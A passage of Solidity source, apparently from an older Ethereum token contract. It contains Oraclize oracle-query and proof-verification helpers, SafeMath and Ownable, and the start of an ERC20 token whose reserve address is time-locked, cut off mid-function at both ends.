oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal pure returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal pure returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal pure returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal pure returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } using CBOR for Buffer.buffer; function stra2cbor(string[] arr) internal pure returns (bytes) { safeMemoryCleaner(); Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeString(arr[i]); } buf.endSequence(); return buf.buf; } function ba2cbor(bytes[] arr) internal pure returns (bytes) { safeMemoryCleaner(); Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeBytes(arr[i]); } buf.endSequence(); return buf.buf; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal view returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ require((_nbytes > 0) && (_nbytes <= 32)); // Convert from seconds to ledger timer ticks _delay *= 10; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) // the following variables can be relaxed // check relaxed random contract under ethereum-examples repo // for an idea on how to override and replace comit hash vars mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes memory delay = new bytes(32); assembly { mstore(add(delay, 0x20), _delay) } bytes memory delay_bytes8 = new bytes(8); copyBytes(delay, 24, 8, delay_bytes8, 0); bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; bytes32 queryId = oraclize_query("random", args, _customGasLimit); bytes memory delay_bytes8_left = new bytes(8); assembly { let x := mload(add(delay_bytes8, 0x20)) mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) } oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(keccak256(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(keccak256(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = byte(1); //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1)); bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); require(proofVerified); _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){ bool match_ = true; require(prefix.length == n_random_bytes); for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; // Step 4: commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) { uint minLength = length + toOffset; // Buffer too small require(to.length >= minLength); // Should be a better way? // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } function safeMemoryCleaner() internal pure { assembly { let fmem := mload(0x40) codecopy(fmem, codesize, sub(msize, fmem)) } } } // </ORACLIZE_API> /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; address public addressReserve = 0x9781656F43dFc79969e7AEDCD651E1b10b16688f; uint256 public summReserve; uint256 public usedSummReserve; uint256 public unlockDate1 = 1578268800; // Mon, 06 Jan 2020 00:00:00 +0000 uint256 public unlockDate2 = 1609891200; // Wed, 06 Jan 2021 00:00:00 +0000 /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); //Reserve 50% blocked for 1 years, 50% blocked for 2 years if (msg.sender == addressReserve){ require(now >= unlockDate1); if (now <= unlockDate2){ usedSummReserve = usedSummReserve.add(_value); require(usedSummReserve <= summReserve.div(2)); } } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); //Reserve 50% blocked for 1 years, 50% blocked for 2 years if (_to == 